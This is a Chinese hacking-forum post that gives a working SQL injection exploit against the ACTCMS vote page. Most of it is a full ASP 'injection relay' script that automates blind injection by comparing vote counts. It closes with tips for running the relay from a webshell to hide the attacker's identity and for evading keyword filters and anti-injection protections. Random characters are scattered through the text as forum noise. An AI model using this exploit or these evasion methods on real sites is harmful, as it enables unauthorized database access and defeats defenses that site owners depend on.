找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2148|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

' o7 W1 t+ K8 I, b3 \0 O$ H  t看到ninty大牛的blog的一篇文章3 q# h! f( y; t* \3 B0 L1 C
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]4 q, a+ o3 m3 Z: R
关于actcms漏洞的利用  by 3x qq:381862589
: Q- B$ r3 f. F" G+ \& @转载请注明以上
/ M% g2 _0 B; y1 X% A9 t漏洞文件:/ L  ?8 @0 A9 _$ ~2 N
/plus/vote/vote.asp
0 q0 {9 y  c+ Q0 n6 _8 Y/ v: x- ?代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
4 O' R! K' a- H2 c# ?) f8 j1 R1 U3 F
3 g' p) K) U- l8 G# m3 U2 _2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   7 a4 ~7 `7 m3 p/ b
4 V7 n5 ?. T4 P+ c' v
3    response.end    * o. e# e/ c$ s/ O* }1 J
, k" c# ^  I' M$ d- M0 Y+ @
4    end if   
+ J/ w2 Y' L7 T1 ^, [! o4 o2 |& n9 }5 B3 V3 w- g
5    for i=1 to request("voted").count    ( D2 m! z. p7 |- e$ G- C
! ?# e7 N, i# {0 w: ?% W* h/ y
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    7 p: a5 H& ~) c" P% N  X1 O
4 p. A5 t+ k) s
7    next   
* t( \6 |( Y  U& c' u/ d" O
  Y. e+ n2 x5 @; o; P" l5 \8....   
, E4 S5 ]9 x3 Y$ V7 Q2 m4 X" q
1 w9 D$ j% ?- f( c4 O9response.Redirect "index.asp?id="&id&""   ! @2 x( i% s; n
投票结束回跳转回index.asp这个投票结果页面
# u* a/ ]/ f2 ~9 r% ~2 Z. C如果投票成功票数加1  a0 @$ r& g" D' Q2 n  ~
            失败票数不变+ w, _  q( J- |& O
如图:* J; P8 m+ W: W2 O
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
" N0 I& b5 v8 n- D" t7 ^, G$ E% ?% F* i) l6 J$ o" m* a2 ?: j
2009-12-27 13:20
; |) s5 r+ I) v$ ^' C4 P$ c
, n3 T% E' o7 g利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
8 ~6 c( ?9 N# F/ Z
/ G; M  F- `! u% X  G- b( a4 z/ v& O本帖隐藏的内容需要回复才可以浏览# V; b) @$ z8 |% ]! z9 ^; n
我们用注入中转来实现这个注入具体代码如下:& A. q9 Y0 r  Z, B
先用寂寞的刺猬大牛的注入中转生成jmget.asp! w+ B% G1 O1 O3 Y$ S/ V  C
注入地址:http://localhost/actcms/plus/vote/vote.asp
$ @* x; Z0 z3 [6 q) s注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项: Y8 K7 p. }' v5 A% m0 e
; g7 Z% [$ Y* T- @/ a1 z
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
9 l: E$ n9 [' ?
  c- L1 ]9 B1 w; A6 }2 H$ N7 P' h' K02JmdcwName=request("jmdcw") " k% H; p4 u7 C5 u: J% |" }

7 k$ W, B1 H/ m" T- |# {* b03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
7 @+ [6 k* X5 u5 ~  A, ~
9 P+ J1 L" a/ ?04JmStr="id=1&voted=-1 or 1="&JmdcwName $ i! n5 K1 X7 J, M5 e
1 ~* P  ?1 m, y: C8 }
05JmStr=URLEncoding(JmStr)
5 z4 }& n' G. ]9 Y% Z" j( u  t' b! t9 `$ M
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"7 T; p* F* f2 n! D0 K5 U
0 ~$ V4 i6 E- O8 X
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"7 T5 w, J, x) s1 R2 C' e( [: g( P

2 B. \) ?& V$ ?4 A, M08testurl=testurl & "?" & JmStr
4 Q- R* Q7 {# S. i/ C+ B- T2 {, u/ I7 k
09JMUrl=JMUrl & "?" & JmStr 1 N+ h9 U8 F! P9 T

  X- h+ F! H8 Q6 X10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
6 @( z) o+ w  u, _+ V* k8 L( {, z9 g. V, j  y' f& R
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"7 n0 Y& k, f: Y

6 p2 s8 W6 ?8 H+ O1 U12JmCok=replace(JmCok,chr(32),"%20")  & S, ]4 v4 R8 X9 I' Y

1 \7 O4 l* Y2 E  c, B13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数   ^$ E8 s1 M. W8 p% z

  K$ y7 H+ Z- a2 i+ D% ~$ T14  ) {. q% X* ]" i5 Z

' B1 d1 M0 B# o$ h0 v' O; U: [9 I15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 9 {& |2 l+ W4 R: j3 C2 b, n
- Q2 d' X1 B7 _; v+ p# f
16  
; h, l8 G8 Y# p  S% ]
0 L4 F) O# ^& h3 p/ F. Q17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 2 K9 J: ^" D3 x4 b  |" O

& q& _" O( \9 F2 B3 J( m4 x8 y18response.write test1&""&test2&""
, Y0 N) y$ v! ~  c8 E& V, j1 z) e! H  ]+ D& q" O
19  
: n3 ]6 G! G. V2 {1 f1 o3 H- @7 @2 `' R. ?8 g5 N
20if test1=test2 then '如前后记录相等,表示失败
+ E$ H" \' q! [. G6 p! @
0 j1 a' ]( F8 Y1 {% e+ g: t3 ?% q4 @21  response.write "failed"
5 q2 F1 L  b4 h4 T1 G
- a: g: n+ D* ^' q" U22else
" J: I4 e% H" B2 X! |
8 c7 T+ M& C! x  k! F' H23  response.write "succeed"9 ]$ p3 h. I5 Q7 s

& X# S+ P. b+ n: n24end if  # D8 _  t7 w/ E) R+ R4 E  d

( Q" e9 _# Q+ u% y25  ; C6 N7 k& M6 ~# ~( ~( E0 |# f  o1 X

* c. i" b7 |+ ^: k. N4 b7 {$ C3 V/ x26response.write "by 3x"+ N7 A  K, e+ I8 z( c
& d' q3 I, {6 J! R+ [
27  
6 P  i! _8 U8 d  |1 \1 D, _$ ]7 |2 G) O* K) Z. ]
28  ) [3 h( B3 M+ u1 p6 _( i, `, ?

8 y( S( L3 A9 E# Q+ Z1 R3 \29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
* s* p! ~& l7 B( O9 k5 I& o! i2 O% {9 n6 ^
30Dim Http
4 o9 s8 B* z+ l4 @3 C! b
0 V2 E4 X5 @: K" q* G31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 9 W8 T+ V7 c2 G) M9 g8 Z. J

/ M$ C3 ~; N/ ]4 k1 v32With Http ( k6 f0 L% o; F& z, W' E7 T1 B
. o/ o5 F1 |9 r) [$ M3 M
33  
" [! F; ^  D: W7 S& ?9 E; j* \. ^3 T0 g4 T- u! k; N
34.Open "GET",PostUrl,False! j/ D  {. z6 T; V4 D

' b( a! X" {; z, a8 N35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"  t: M* I5 J. h% ~: [& R

$ L5 e% X/ B6 x3 z2 k36.SetRequestHeader "Referer",PostRef
: s0 l. T  x/ a; t/ G  K
( N1 }/ g* B: o0 ^0 |: s/ A( e1 [37.SetRequestHeader "Cookie",PostCok & n7 O! R+ i) l5 M
' V) i% F9 W7 p3 b& l
38.Send ()
, v. o. x6 n: h; Q; w
: E: t% J. M9 `% n! u$ K5 o5 i39PostData = .ResponseBody
( |/ w: m4 G( z  m1 m: w5 Z
; x6 I  q  k6 I) R40End With
5 }$ J$ v( f  A) J. R- r
* S+ J0 [! ~+ t( Q" k/ O41Set Http = Nothing5 ?+ u2 Q0 o$ T. K2 C+ S
6 r, z! H, U0 a' ?* g
42PostData =bytes2BSTR(PostData) , J( [. |/ z  u) t0 u( |# `

7 ]4 g) G/ g* P- u  ?43End Function
$ K% H) @2 `6 F) {# {  Q) j% ~" p) A( X; a
44  
7 `, D& S; q, i( v3 e, j8 n
9 C  w# V3 C# _, _; M7 K. {# \, f, [: o45  
  @& W& V( _9 _# d, e4 q- W
/ [2 t' x6 e# g/ ?2 p4 T4 w- r46Function bytes2BSTR(vIn) : R: x) N" ~. ]
2 ]+ W$ L  x  I; U/ b+ O' y7 S
47Dim strReturn
0 U5 }8 I  L* N) s% g2 \" w6 G
% V6 Z) y# n2 @3 V% `48Dim I, ThisCharCode, NextCharCode
) H2 S/ Q4 ^# D2 x7 ^7 n" x- \! m# |8 G
49strReturn = ""1 x. ~) u6 G0 {4 [* Z
9 c6 j  X- Q; b" X& J& x
50For I = 1 To LenB(vIn) ; q- C7 `) p- F0 ~8 D  Q* w
3 k7 F; N- z1 `* H/ W
51ThisCharCode = AscB(MidB(vIn, I, 1)) 5 x: m1 a# W$ ^! i0 h" t. U. F

) D0 }. Q  g9 N9 K52If ThisCharCode < &H80 Then
0 A, O: D7 q8 @8 Q, ]0 {3 ~) e0 f$ Q. J( |/ H7 L% H! n0 b
53strReturn = strReturn & Chr(ThisCharCode) , y" [  \6 J* t, G
5 J$ X2 C/ Q+ k3 r1 n) k
54Else8 _2 O( G, e3 l9 \5 F2 E

, p: @4 ?  n. a0 k! Z0 l9 c55NextCharCode = AscB(MidB(vIn, I + 1, 1))
, S9 A2 u1 `& d+ X. E/ X( p- G9 ~* a) k) v7 I# e! e  `+ F: \) l' C$ n5 t/ d
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
! j$ F1 u8 K3 B* P, f3 C5 _3 I. \) v! q+ M
57I = I + 1 . x) D' K3 z3 [/ O! G+ o) `
( }6 A0 l6 n( K
58End If9 H4 p" }( P* Q1 z! p6 {5 }. z

4 y' v' P/ b4 h' N59Next
% p1 n+ O' T2 g: a6 W' f7 w# L/ ~/ }! i" _7 c
60bytes2BSTR = strReturn
! y8 C! o' p( j$ I0 W' _, ^/ P/ u+ |7 Y
61End Function
) ~6 R. c; E1 a" u0 b6 D  E/ B+ B, \" T# c$ n
62  
( ]: ?) H" z/ C6 c; |; b1 e( f- m" u5 J6 D8 Y) @! N+ u$ h4 r8 k
63Function URLEncoding(vstrin)  : d4 ]' A: h* r" K& J& q; k
' Q. J% H7 V: O) f6 G' K) u
64strReturn=""
/ n8 i' w$ k" z! o0 J' H0 W% p- p1 M" ^3 u
65Dim i 0 {$ ~6 b# M; `

7 K3 ]% m9 H, W( P' f+ G& j7 @, o66For i=1 To Len(vstrin)
0 C) J( S1 U4 \% t* E4 P5 y# x3 g. {8 ^; k) u
67ThisChr=Mid(vstrin,i,1) 7 W6 m5 g( W4 S' s0 W
* J, O* e; h5 {+ I
68if Abs(Asc(ThisChr))< &HFF Then
" a5 b: u& B% `( p: g& N2 h9 n* b+ u+ _6 U! G
69strReturn=strReturn & ThisChr " Q4 ^: d1 D3 `6 W' A0 M+ ~

6 a' C8 r2 Y4 {$ q! g) x70Else
5 W) F; W' o3 X* j2 I4 k% C) Y2 y: D' L$ G3 k6 k" O
71InnerCode=Asc(ThisChr) 8 B, K7 O# Y. l$ j
! @* B% M. _  L4 z3 r
72If InnerCode<0 Then. [, c5 v$ j, O0 A4 F3 G
/ n6 n9 l1 |4 V' y$ z
73InnerCode=InnerCode + &H10000 % Q3 M" @& p5 Y) }: N

1 i0 ?0 B! [4 A74End If, F/ c3 v$ I' h

( }( P& t6 q# C/ n  G# p5 R! g4 A) Y75Hight1=(InnerCode And &HFF00) \&HFF
% u7 y9 `4 q, a' G9 z2 j
# X3 m0 V" K) Q' N6 j76Low1=InnerCode And &HFF # ?- K  K1 A$ h- e) z. W* l

6 |" u" l+ i. s# b3 ~7 M2 p" L77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) 9 w0 f8 M( E$ Y: O
5 {$ U: u( v1 q9 p- D
78End if 7 F% O$ k8 }; h9 d

7 |- r- ~7 ~7 J+ s, ]79Next/ K/ m7 ~5 D' m

' f. E. h& h7 v% x5 s' K+ W' k' S80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 # ]8 S5 S& Z" J; ?2 S! Z

# I2 f! Q! a, T. }81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
9 T$ P, A- k3 C3 F  Z& G' p2 M/ y% I% S7 S7 j* f- L+ o  X+ D. N
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 % E+ V0 X6 n6 O0 I5 E) o# C

% g! ^- Y' ]9 m. m9 d' e* r83URLEncoding=strReturn
4 n) r" V1 y* }* U) S4 u* E- y
: `3 V, C5 a3 V" P9 c! l2 J- Z# v8 W% F84End Function
0 U  j3 H' P9 F, p
( Q1 H2 h: Z) D/ Z! M6 c' d, ]6 ~: D- `85  : y& c& U" K: y1 E8 l9 g. f! B
1 ~  X- |& j& K! u
86function getSt(body)
( |9 r/ }& L4 n% e. o! I/ L1 X
/ H1 R/ ]: `! P$ n; ?- Z6 v$ Q87  startpot=instr(body,"投票人数:")+len("投票人数:")
* B+ r7 x3 @4 P( v% x) B3 u2 u+ ^% X& Y$ }/ G" k" F2 ?" l+ o& m
88  endpot=instr(startpot,body," ")
1 `* _/ I+ O# n% @5 x7 a4 g3 a# k; o, Y. {5 d! ]" G
89  getSt=mid(body,startpot,endpot-startpot)
. O1 Q6 P/ m9 \8 ^# h7 d+ T( c' Z' C( ]$ X
90end function
( Q& f8 ~  j2 h9 _: l3 m( Y- m% v: t6 E2 l3 X
91%>: r' b0 |- Z; j9 `( R) @7 `! v
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
% [6 u* T9 t% N: \% H& N2 @, H测试下效果:' p& D# q+ ]1 V6 b  R( [; r
投票成功:, Z, S* k$ ^' d2 z  N0 m
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)1 \' q5 Y! v  C- e& o

* N  X8 Q2 U: Y8 U  a2009-12-27 13:29
# z2 \. W4 T, A! |7 ~; s& \/ g投票失败) b2 X6 M* j0 R- O; X1 `' `* z7 E
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB); t' Z4 Q0 ^8 c

9 h, J* `/ n- u2 v' x& O* W2009-12-27 13:29/ j! S8 i/ K" S; U
-------------------------------------------------------------------------------# r" G; Y8 \! J) K6 @( l7 t. U
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
- B9 A/ L' S+ o+ N很抱歉。。。只能用单线程工具去注入。。。。。
  m6 o  t8 I. R0 e" f7 o( p所以失败。。。不好意思。。。! O" D2 L( c& O8 j
-------------------------------------------------------------------------------
6 N9 ~* |  g# x+ t/ r6 `' a; I( ^
8 M+ q) W! p3 C) [% M- e- B( i注入中转的一些其他应用8 }% l  _; _! r
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了6 ?+ Y! z+ F9 H4 N
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id" K/ A' N+ r9 a$ @6 |* V) _
2.post注入转成get型的注入,方便我们使用工具来跑9 `& y6 f* w8 U
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")* h; Z0 `0 B5 z
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
, S1 A& g' @7 u, O9 x0 [3 G5 ?/ h! [$ [8 |4 d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表